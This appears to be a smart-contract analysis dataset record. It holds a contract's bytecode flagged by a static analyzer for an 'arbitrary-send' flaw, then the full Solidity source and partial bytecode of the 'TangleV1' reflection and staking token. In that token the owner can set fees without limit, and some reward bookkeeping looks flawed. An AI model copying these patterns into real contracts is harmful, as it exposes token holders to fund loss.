c65a03f1151561103857600080fd5b50505060405180519050151561104d57600080fd5b600160a060020a03871673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156110a857600160a060020a03861682156108fc0283604051600060405180830381858888f1935050505015156110a357600080fd5b611146565b600e546127100382612710028115156110bd57fe5b04600101905086600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561112057600080fd5b6102c65a03f1151561113157600080fd5b50505060405180519050151561114657600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a868b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b60115481565b60005433600160a060020a039081169116146111e357600080fd5b600160a060020a03811615156111f857600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b600854600160a060020a031681565b60015433600160a060020a0390811691161461128d57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461132757600080fd5b600160a060020a038116151561133c57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b6113f6611f9d565b600580548060200260200160405190810160405280929190818152602001828054801561093157602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610913575050505050905090565b6000806000806000806000806000600d60009054906101000a900460ff161515611481576000985061166e565b600854600160a060020a0316151561149c576000985061166e565b6114a46117ce565b600c54939b509199509750955043908901116114c3576000985061166e565b600854600160a060020a03166359e02dd76000604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b151561150a57600080fd5b6102c65a03f1151561151b57600080fd5b5050506040518051906020018051955090935050831580611545575069d3c21bcecceda100000083115b15611553576000985061166e565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038e1614801561158c5750600754600160a060020a038d81169116145b156115b8578515156115a1576000985061166e565b856103e884028115156115b057fe5b049150611628565b600754600160a060020a038e811691161480156115f1575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038d16145b1561161f576103e8836ec097ce7bc90715b34b9f1000000000870281151561161557fe5b048115156115b057fe5b6000985061166e565b69d3c21bcecceda1000000821115611643576000985061166e565b61164f8d8d8d85611b9c565b90508061165b8d611aeb565b101561166a576000985061166e565b8198505b5050505050505050949350505050565b60005433600160a060020a0390811691161461169957600080fd5b600160a060020a03811615156116ae57600080fd5b60088054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146116eb57600080fd5b61271081106116f957600080fd5b600e55565b60005433600160a060020a0390811691161461171957600080fd5b600160a060020a03811660009081526002602052604090205460ff161561173f57600080fd5b6004546032901061174f57600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610b5d8382611f79565b6000806000806117df601154611c91565b929791965094509092509050565b6000805433600160a060020a0390811691161461180957600080fd5b600160a060020a03821660009081526002602052604090205460ff16151561183057600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b60045481101561086e5781600160a060020a031660048281548110151561187557fe5b600091825260209091200154600160a060020a03161415611951576004805460001981019081106118a257fe5b60009182526020909120015460048054600160a060020a0390921691839081106118c857fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906119049082611f79565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a161086e565b600101611852565b600b54600160a060020a031681565b600c5481565b60005433600160a060020a0390811691161461198957600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f1935050505015156119ba57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600954600160a060020a031681565b600d5460ff1681565b60106020526000908152604090205460ff1681565b600080600080611a3c6117ce565b92965090945092509050828a11611a5257600080fd5b600c5443908c0111611a6357600080fd5b438b1115611a7057600080fd5b611aa98b8b8b8b604051808581526020018481526020018381526020018281526020019450505050506040518091039020888888611ce5565b1515611ab457600080fd5b611ac08b8b8b8b611d7b565b6011555050505050505050505050565b600e5481565b600f5481565b600054600160a060020a031681565b6000600160a060020a03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611b235750600160a060020a03301631611b97565b81600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611b7a57600080fd5b6102c65a03f11515611b8b57600080fd5b50505060405180519150505b919050565b6000806000611baa86611e1c565b9150611bb587611e1c565b9050611bc385828487611ee0565b979650505050505050565b600160a060020a03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611c1457600160a060020a038116600090815260066020526040902060129055611c8e565b80600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611c5a57600080fd5b6102c65a03f11515611c6b57600080fd5b5050506040518051600160a060020a038316600090815260066020526040902055505b50565b67ffffffffffffffff81811692680100000000000000008304821692700100000000000000000000000000000000810483169278010000000000000000000000000000000000000000000000009091041690565b6000806001868686866040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f11515611d4d57600080fd5b505060206040510351600160a060020a031660009081526002602052604090205460ff169695505050505050565b600080680100000000000000008610611d9357600080fd5b680100000000000000008510611da857600080fd5b680100000000000000008410611dbd57600080fd5b680100000000000000008310611dd257600080fd5b505078010000000000000000000000000000000000000000000000008102700100000000000000000000000000000000830268010000000000000000850286171717949350505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611e4d5760129150611eda565b50600160a060020a038216600090815260066020526040902054801515611ed65782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611eb457600080fd5b6102c65a03f11515611ec557600080fd5b505050604051805190509150611eda565b8091505b50919050565b60006b204fce5e3e25026110000000851115611efb57600080fd5b69d3c21bcecceda1000000821115611f1257600080fd5b838310611f455760128484031115611f2957600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611f71565b60128385031115611f5557600080fd5b828403600a0a670de0b6b3a764000002828602811515611f3d57fe5b949350505050565b815481835581811511610c8157600083815260209020610c81918101908301611faf565b60206040519081016040526000815290565b6106ff91905b80821115611fc95760008155600101611fb5565b50905600a165627a7a723058200a648ceed18d7d27546198b2ee3cf53edeb97d910bc661446102b025f3536d0e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,945 |
0x9ba186a41ea9796d190d0a835e1e1790752c1f74
|
// SPDX-License-Identifier: 0BSD
pragma solidity ^0.8.7;
interface ERC20 {
function transfer(address to, uint tokens) external;
function transferFrom(address from, address to, uint tokens) external;
}
contract TangleV1 {
uint8 public decimals;
uint public totalSupply;
string public name;
string public symbol;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint)) private allowed;
mapping(uint => uint) public tax;
address public gamemaster;
address public liquidityAddress;
uint public totalPieces;
uint public piecesPerUnit;
uint public minHoldAmount;
mapping(uint => uint) public rewardMax;
mapping(uint => uint) public rewardConst;
mapping(uint => uint) public rewardsLastRewardChange;
mapping(uint => uint) public timeFromInitToLastRewardChange;
uint public distributionRewardThreshold;
mapping(address => bool) public hasReceivedPieces;
mapping(uint => mapping(address => uint)) public rewardableEvents;
mapping(uint => uint) public totalRewardableEvents;
mapping(uint => uint) public startTime;
mapping(uint => mapping(address => uint)) public emissionInit;
mapping(address => uint) public totalBuyVolume;
mapping(address => uint) public totalSellVolume;
address public owner;
constructor() {
name = "TangleV1";
symbol = "TNGL";
decimals = 9;
totalSupply = 1e9 * 1*10**(decimals);
totalPieces = type(uint128).max - (type(uint128).max % totalSupply);
piecesPerUnit = totalPieces / totalSupply;
balances[msg.sender] = totalPieces;
gamemaster = msg.sender;
owner = msg.sender;
minHoldAmount = 1;
distributionRewardThreshold = 1e9;
// INITIAL REWARDCONST MAP {
rewardConst[0] = 300000; // Market Maker
rewardConst[1] = 300000; // Distributor
rewardConst[2] = 300000; // Staker
// }
// INITIAL TAX MAP {
tax[100] = 5e9; // Transfer Multiplier
tax[101] = 1e11; // Transfer Divisor
tax[200] = 1e9; // Market Maker Transfer Multiplier
tax[201] = 1e11; // Market Maker Transfer Divisor
tax[210] = 10e9; // Market Maker Withdraw Multiplier
tax[211] = 1e11; // Market Maker Withdraw Divisor
tax[220] = 4e9; // Market Maker To Distributor Multiplier
tax[221] = 1e11; // Market Maker To Distributor Divisor
tax[230] = 4e9; // Market Maker To Staker Multiplier
tax[231] = 1e11; // Market Maker To Staker Divisor
tax[240] = 1e9; // Market Maker To Reflect Multiplier
tax[241] = 1e11; // Market Maker To Reflect Divisor
tax[250] = 1e9; // Market Maker To Gamemaster Multiplier
tax[251] = 1e11; // Market Maker To Gamemaster Divisor
tax[300] = 1e9; // Distributor Transfer Multiplier
tax[301] = 1e11; // Distributor Transfer Divisor
tax[310] = 10e9; // Distributor Withdraw Multiplier
tax[311] = 1e11; // Distributor Withdraw Divisor
tax[320] = 4e9; // Distributor To Market Maker Multiplier
tax[321] = 1e11; // Distributor To Market Maker Divisor
tax[330] = 4e9; // Distributor To Staker Multiplier
tax[331] = 1e11; // Distributor To Staker Divisor
tax[340] = 1e9; // Distributor To Reflect Multiplier
tax[341] = 1e11; // Distributor To Reflect Divisor
tax[350] = 1e9; // Distributor To Gamemaster Multiplier
tax[351] = 1e11; // Distributor To Gamemaster Divisor
tax[400] = 1e9; // Staker Transfer Multiplier
tax[401] = 1e11; // Staker Transfer Divisor
tax[410] = 10e9; // Staker Withdraw Multiplier
tax[411] = 1e11; // Staker Withdraw Divisor
tax[420] = 4e9; // Staker To Market Maker Multiplier
tax[421] = 1e11; // Staker To Market Maker Divisor
tax[430] = 4e9; // Staker To Distributor Multiplier
tax[431] = 1e11; // Staker To Distributor Divisor
tax[440] = 1e9; // Staker To Reflect Multiplier
tax[441] = 1e11; // Staker To Reflect Divisor
tax[450] = 1e9; // Staker To Gamemaster Multiplier
tax[451] = 1e11; // Staker To Gamemaster Divisor
tax[500] = 1e9; // Reflect Transfer Multiplier
tax[501] = 1e11; // Reflect Transfer Divisor
tax[600] = 1e9; // Gamemaster Transfer Multiplier
tax[601] = 1e11; // Gamemaster Transfer Divisor
// }
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner] / piecesPerUnit;
}
function allowance(address _owner, address spender) public view returns (uint256) {
return allowed[_owner][spender];
}
function transfer(address to, uint value) public returns (bool) {
value = enforceMinHold(msg.sender, value);
uint pieceValue = value * piecesPerUnit;
balances[msg.sender] -= pieceValue;
balances[to] += pieceValue - taxify(pieceValue, 10);
balances[address(this)] += taxify(pieceValue, 20) + taxify(pieceValue, 30) + taxify(pieceValue, 40);
balances[gamemaster] += taxify(pieceValue, 60);
for (uint i = 0; i < 3; i++) { changeRewardMax(i, rewardMax[i] + taxify(pieceValue, 20 + i * 10)); }
reflect(taxify(pieceValue, 50));
distributionCheck(msg.sender, to, value);
if (msg.sender == liquidityAddress)
adjustMarketMakerRewardableEvents(to, pieceValue, false);
if (to == liquidityAddress)
adjustMarketMakerRewardableEvents(msg.sender, pieceValue, true);
emit Transfer(msg.sender, to, value - taxify(value, 10));
emit Tax(taxify(value, 10));
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
value = enforceMinHold(from, value);
allowed[from][msg.sender] = allowed[from][msg.sender] - value;
uint pieceValue = value * piecesPerUnit;
balances[from] -= pieceValue;
balances[to] += pieceValue - taxify(pieceValue, 10);
balances[address(this)] += taxify(pieceValue, 20) + taxify(pieceValue, 30) + taxify(pieceValue, 40);
balances[gamemaster] += taxify(pieceValue, 60);
for (uint i = 0; i < 3; i++) { changeRewardMax(i, rewardMax[i] + taxify(pieceValue, 20 + i * 10)); }
reflect(taxify(pieceValue, 50));
distributionCheck(from, to, value);
if (from == liquidityAddress)
adjustMarketMakerRewardableEvents(to, pieceValue, false);
if (to == liquidityAddress)
adjustMarketMakerRewardableEvents(from, pieceValue, true);
emit Transfer(from, to, value - taxify(value, 10));
emit Tax(taxify(value, 10));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender] + addedValue;
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender] - subtractedValue;
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function taxify(uint value, uint id) internal view returns (uint) {
return value * tax[id * 10] / tax[id * 10 + 1];
}
function reflect(uint reflectAmount) internal {
uint FTPXA = totalSupply * piecesPerUnit - balances[liquidityAddress];
uint FFTPXARA = FTPXA - reflectAmount;
piecesPerUnit = piecesPerUnit * FFTPXARA / FTPXA;
if (piecesPerUnit < 1)
piecesPerUnit = 1;
balances[liquidityAddress] = balances[liquidityAddress] * FFTPXARA / FTPXA;
}
function enforceMinHold(address sender, uint value) internal view returns (uint) {
if (balances[sender] / piecesPerUnit - value < minHoldAmount && sender != liquidityAddress)
value = balances[sender] / piecesPerUnit - minHoldAmount;
return value;
}
function rewardTheoretical(uint id) public view returns (uint) {
if (startTime[id] == 0) return 0;
return rewardMax[id] - (rewardMax[id] - rewardsLastRewardChange[id]) * rewardConst[id] / (block.timestamp - startTime[id] + rewardConst[id] - timeFromInitToLastRewardChange[id]);
}
function changeRewardMax(uint id, uint newRewardMax) internal {
if (startTime[id] > 0) {
rewardsLastRewardChange[id] = rewardTheoretical(id);
timeFromInitToLastRewardChange[id] = block.timestamp - startTime[id];
}
rewardMax[id] = newRewardMax;
}
function distributionCheck(address sender, address receiver, uint value) internal {
if (hasReceivedPieces[receiver] == false && value >= distributionRewardThreshold && sender != liquidityAddress && receiver != liquidityAddress) {
if (startTime[1] == 0)
startTime[1] = block.timestamp;
if (getAvailableRewards(1, msg.sender) > 0) withdrawRewards(1);
emissionInit[1][msg.sender] = rewardTheoretical(1);
rewardableEvents[1][sender] += 1;
totalRewardableEvents[1] += 1;
hasReceivedPieces[receiver] = true;
}
}
function withdrawRewards(uint id) public {
uint availableRewards = rewardableEvents[id][msg.sender] * (rewardTheoretical(id) - emissionInit[id][msg.sender]) / totalRewardableEvents[id];
emissionInit[id][msg.sender] = rewardTheoretical(id);
uint id2 = (id + 2) * 10;
balances[msg.sender] += availableRewards - taxify(availableRewards, id2 + 1);
balances[gamemaster] += taxify(availableRewards, id2 + 5);
balances[address(this)] -= availableRewards - taxify(availableRewards, id2 + 2) - taxify(availableRewards, id2 + 3);
for (uint i = 0; i < 2; i++) { changeRewardMax(id != i * 2 ? i * 2 : 1, rewardMax[id] + taxify(availableRewards, id2 + 2 + i)); }
reflect(taxify(availableRewards, id2 + 4));
}
function withdrawAllRewards() public {
if (getAvailableRewards(0, msg.sender) > 0) withdrawRewards(0);
if (getAvailableRewards(1, msg.sender) > 0) withdrawRewards(1);
if (getAvailableRewards(2, msg.sender) > 0) withdrawRewards(2);
return;
}
function getAvailableRewards(uint id, address _address) public view returns (uint) {
if (totalRewardableEvents[id] == 0 || rewardableEvents[id][_address] == 0) return 0;
uint availableRewards = rewardableEvents[id][_address] * (rewardTheoretical(id) - emissionInit[id][_address]) / totalRewardableEvents[id];
return (availableRewards - taxify(availableRewards, (id + 2) * 10 + 1)) / piecesPerUnit;
}
function getAllAvailableRewards(address _address) public view returns(uint, uint, uint, uint) {
return (getAvailableRewards(0, _address), getAvailableRewards(1, _address), getAvailableRewards(2, _address), getAvailableRewards(0, _address) + getAvailableRewards(1, _address) + getAvailableRewards(2, _address));
}
function stake(uint amount) public {
require(rewardableEvents[2][msg.sender] == 0, "staking position already exists");
ERC20(liquidityAddress).transferFrom(msg.sender, address(this), amount);
if (startTime[2] == 0)
startTime[2] = block.timestamp;
emissionInit[2][msg.sender] = rewardTheoretical(2);
totalRewardableEvents[2] += amount;
rewardableEvents[2][msg.sender] = amount;
}
function unstake() public {
require(rewardableEvents[2][msg.sender] > 0, "no current staking position");
if (getAvailableRewards(2, msg.sender) > 0) withdrawRewards(2);
ERC20(liquidityAddress).transfer(msg.sender, rewardableEvents[2][msg.sender]);
totalRewardableEvents[2] -= rewardableEvents[2][msg.sender];
rewardableEvents[2][msg.sender] = 0;
}
function updatePosition(uint amount) public {
unstake();
stake(amount);
}
function adjustMarketMakerRewardableEvents(address _address, uint adjustmentAmount, bool buyOrSell) internal {
if (!buyOrSell)
totalBuyVolume[_address] += adjustmentAmount;
if (buyOrSell)
totalSellVolume[_address] += adjustmentAmount;
uint totalBuySellVolumeDiff;
if (totalSellVolume[_address] > totalBuyVolume[_address]) {
totalBuySellVolumeDiff = totalSellVolume[_address] - totalBuyVolume[_address];
}
if (totalBuyVolume[_address] > totalSellVolume[_address]) {
totalBuySellVolumeDiff = totalBuyVolume[_address] - totalSellVolume[_address];
}
uint balancedBuySellVolume = totalBuyVolume[_address] + totalSellVolume[_address] - totalBuySellVolumeDiff;
if (balancedBuySellVolume > rewardableEvents[0][_address]) {
uint eventDiff = balancedBuySellVolume - rewardableEvents[0][_address];
if (startTime[0] == 0)
startTime[0] = block.timestamp;
if (getAvailableRewards(0, msg.sender) > 0) withdrawRewards(0);
emissionInit[0][msg.sender] = rewardTheoretical(0);
rewardableEvents[0][_address] += eventDiff;
totalRewardableEvents[0] += eventDiff;
} else if (rewardableEvents[0][_address] > balancedBuySellVolume) {
uint eventDiff = rewardableEvents[0][_address] - balancedBuySellVolume;
if (getAvailableRewards(0, msg.sender) > 0) withdrawRewards(0);
emissionInit[0][msg.sender] = rewardTheoretical(0);
rewardableEvents[0][_address] -= eventDiff;
totalRewardableEvents[0] -= eventDiff;
}
}
function changeMinHoldAmount(uint newMinHoldAmount) public {
require(msg.sender == owner, "not owner");
minHoldAmount = newMinHoldAmount;
}
function changeTaxDetail(uint id, uint value) public {
require(msg.sender == owner, "not owner");
tax[id] = value;
}
function changeRewardConstant(uint newRewardConstant, uint id) public {
require(msg.sender == owner, "not owner");
rewardConst[id] = newRewardConstant;
}
function changeLiquidityAddress(address newLiquidityAddress) public {
require(msg.sender == owner, "not owner");
liquidityAddress = newLiquidityAddress;
for (uint i = 0; i < 3; i++) { rewardableEvents[i][liquidityAddress] = 0; }
}
function changeOwner(address newOwner) public {
require(msg.sender == owner, "not owner");
owner = newOwner;
}
function donate(uint id, uint value) public {
uint pieceValue = value * piecesPerUnit;
balances[msg.sender] -= pieceValue;
balances[address(this)] += pieceValue;
changeRewardMax(id, rewardMax[id] + pieceValue);
}
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Tax(uint tokens);
}
|
0x608060405234801561001057600080fd5b50600436106102f45760003560e01c80636cfdc92911610191578063a6f9dae1116100e3578063c561905011610097578063e653723d11610071578063e653723d14610726578063fd9ff94c14610739578063fddacd7b1461076c57600080fd5b8063c561905014610695578063cbf30be3146106b5578063dd62ed3e146106e057600080fd5b8063b5a2ac3b116100c8578063b5a2ac3b1461064f578063be9ca9e114610662578063c4e4abc11461068257600080fd5b8063a6f9dae114610629578063a9059cbb1461063c57600080fd5b80638da5cb5b116101455780639ecba7ea1161011f5780639ecba7ea146105fa578063a457c2d714610603578063a694fc3a1461061657600080fd5b80638da5cb5b146105bf5780639342c8f4146105df57806395d89b41146105f257600080fd5b806370a082311161017657806370a082311461056c5780637bd4e08f1461057f5780638a5f443b1461059f57600080fd5b80636cfdc929146105435780636eee75491461054c57600080fd5b80632def66201161024a5780633ec4c968116101fe57806345114ee5116101d857806345114ee5146105085780634bc95007146105105780635b7c132d1461053057600080fd5b80633ec4c9681461049d5780633ee708aa146104bd57806341bcaa0b146104dd57600080fd5b80633221c93f1161022f5780633221c93f146104325780633950935114610477578063396cb9121461048a57600080fd5b80632def66201461040b578063313ce5671461041357600080fd5b80631ae3d5ff116102ac57806323b872dd1161028657806323b872dd146103c5578063251ad9a2146103d85780632c8aaf6c146103eb57600080fd5b80631ae3d5ff1461037957806320bc17b91461039957806322d5ba98146103a257600080fd5b806309f1c80a116102dd57806309f1c80a1461033a5780630cdd53f61461034f57806318160ddd1461036257600080fd5b806306fdde03146102f9578063095ea7b314610317575b600080fd5b610301610775565b60405161030e91906127a3565b60405180910390f35b61032a61032536600461271b565b610803565b604051901515815260200161030e565b61034d610348366004612745565b61087d565b005b61034d61035d366004612781565b610891565b61036b60015481565b60405190815260200161030e565b61036b610387366004612745565b60066020526000908152604090205481565b61036b600a5481565b61032a6103b0366004612691565b60116020526000908152604090205460ff1681565b61032a6103d33660046126df565b610918565b61034d6103e6366004612745565b610c6a565b61036b6103f9366004612745565b60136020526000908152604090205481565b61034d610cf5565b6000546104209060ff1681565b60405160ff909116815260200161030e565b6008546104529073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161030e565b61032a61048536600461271b565b610f02565b61036b61049836600461275e565b610fa2565b61036b6104ab366004612745565b60146020526000908152604090205481565b61036b6104cb366004612745565b600f6020526000908152604090205481565b61036b6104eb36600461275e565b601260209081526000928352604080842090915290825290205481565b61034d6110cd565b61036b61051e366004612745565b600c6020526000908152604090205481565b61034d61053e366004612691565b611126565b61036b60095481565b61036b61055a366004612745565b600d6020526000908152604090205481565b61036b61057a366004612691565b61123b565b61036b61058d366004612745565b600e6020526000908152604090205481565b61036b6105ad366004612691565b60166020526000908152604090205481565b6018546104529073ffffffffffffffffffffffffffffffffffffffff1681565b61034d6105ed366004612745565b61126f565b61030161147e565b61036b60105481565b61032a61061136600461271b565b61148b565b61034d610624366004612745565b6114c7565b61034d610637366004612691565b6116f9565b61032a61064a36600461271b565b6117c1565b61036b61065d366004612745565b611a47565b61036b610670366004612691565b60176020526000908152604090205481565b61034d610690366004612781565b611afb565b6007546104529073ffffffffffffffffffffffffffffffffffffffff1681565b61036b6106c336600461275e565b601560209081526000928352604080842090915290825290205481565b61036b6106ee3660046126ac565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b61034d610734366004612781565b611b8d565b61074c610747366004612691565b611c20565b60408051948552602085019390935291830152606082015260800161030e565b61036b600b5481565b60028054610782906128bd565b80601f01602080910402602001604051908101604052809291908181526020018280546107ae906128bd565b80156107fb5780601f106107d0576101008083540402835291602001916107fb565b820191906000526020600020905b8154815290600101906020018083116107de57829003601f168201915b505050505081565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061086b9086815260200190565b60405180910390a35060015b92915050565b610885610cf5565b61088e816114c7565b50565b6000600a54826108a19190612869565b336000908152600460205260408120805492935083929091906108c59084906128a6565b909155505030600090815260046020526040812080548392906108e9908490612816565b90915550506000838152600c602052604090205461091390849061090e908490612816565b611c8b565b505050565b60006109248483611cef565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083203384529091529020549092506109639083906128a6565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320338452909152812091909155600a546109a49084612869565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600460205260408120805492935083929091906109de9084906128a6565b909155506109ef905081600a611daa565b6109f990826128a6565b73ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604081208054909190610a2e908490612816565b90915550610a3f9050816028611daa565b610a4a82601e611daa565b610a55836014611daa565b610a5f9190612816565b610a699190612816565b3060009081526004602052604081208054909190610a88908490612816565b90915550610a99905081603c611daa565b60075473ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604081208054909190610ad0908490612816565b90915550600090505b6003811015610b3057610b1e81610b0584610af583600a612869565b610b00906014612816565b611daa565b6000848152600c602052604090205461090e9190612816565b80610b288161290b565b915050610ad9565b50610b44610b3f826032611daa565b611e10565b610b4f858585611efa565b60085473ffffffffffffffffffffffffffffffffffffffff86811691161415610b7e57610b7e84826000612129565b60085473ffffffffffffffffffffffffffffffffffffffff85811691161415610bad57610bad85826001612129565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c0786600a611daa565b610c1190876128a6565b60405190815260200160405180910390a37f1da9a0060303acd94a78d52073d1a4429cf474a9a26cee91c84e7d28abb2baaa610c4e84600a611daa565b60405190815260200160405180910390a1506001949350505050565b60185473ffffffffffffffffffffffffffffffffffffffff163314610cf0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b600b55565b3360009081527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b26020526040902054610d8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6e6f2063757272656e74207374616b696e6720706f736974696f6e00000000006044820152606401610ce7565b6000610d97600233610fa2565b1115610da757610da7600261126f565b6008543360008181527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b26020526040908190205490517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810192909252602482015273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb90604401600060405180830381600087803b158015610e4957600080fd5b505af1158015610e5d573d6000803e3d6000fd5b50503360009081527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b2602090815260408220546002835260139091527f0b9d2c0c271bb30544eb78c59bdaebdae2728e5f65814c07768a0abe90ed192380549194509250610ecc9084906128a6565b90915550503360009081527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b26020526040812055565b33600090815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054610f3e908390612816565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8916808552908352928190208590555193845290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161086b565b6000828152601360205260408120541580610fea5750600083815260126020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152902054155b15610ff757506000610877565b6000838152601360209081526040808320546015835281842073ffffffffffffffffffffffffffffffffffffffff8716855290925282205461103886611a47565b61104291906128a6565b600086815260126020908152604080832073ffffffffffffffffffffffffffffffffffffffff8916845290915290205461107c9190612869565b611086919061282e565b600a549091506110b18261109b876002612816565b6110a690600a612869565b610b00906001612816565b6110bb90836128a6565b6110c5919061282e565b949350505050565b60006110da600033610fa2565b11156110ea576110ea600061126f565b60006110f7600133610fa2565b111561110757611107600161126f565b6000611114600233610fa2565b111561112457611124600261126f565b565b60185473ffffffffffffffffffffffffffffffffffffffff1633146111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401610ce7565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905560005b600381101561123757600081815260126020908152604080832060085473ffffffffffffffffffffffffffffffffffffffff1684529091528120558061122f8161290b565b9150506111ea565b5050565b600a5473ffffffffffffffffffffffffffffffffffffffff821660009081526004602052604081205490916108779161282e565b6000818152601360209081526040808320546015835281842033855290925282205461129a84611a47565b6112a491906128a6565b60008481526012602090815260408083203384529091529020546112c89190612869565b6112d2919061282e565b90506112dd82611a47565b6000838152601560209081526040808320338452909152812091909155611305836002612816565b61131090600a612869565b905061132182610b00836001612816565b61132b90836128a6565b336000908152600460205260408120805490919061134a908490612816565b9091555061135f905082610b00836005612816565b60075473ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604081208054909190611396908490612816565b909155506113ab905082610b00836003612816565b6113ba83610b00846002612816565b6113c490846128a6565b6113ce91906128a6565b30600090815260046020526040812080549091906113ed9084906128a6565b90915550600090505b600281101561146b5761145961140d826002612869565b85141561141b576001611426565b611426826002612869565b6114408584611436876002612816565b610b009190612816565b6000878152600c602052604090205461090e9190612816565b806114638161290b565b9150506113f6565b50610913610b3f83610b00846004612816565b60038054610782906128bd565b33600090815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054610f3e9083906128a6565b3360009081527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b260205260409020541561155d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f7374616b696e6720706f736974696f6e20616c726561647920657869737473006044820152606401610ce7565b6008546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810183905273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd90606401600060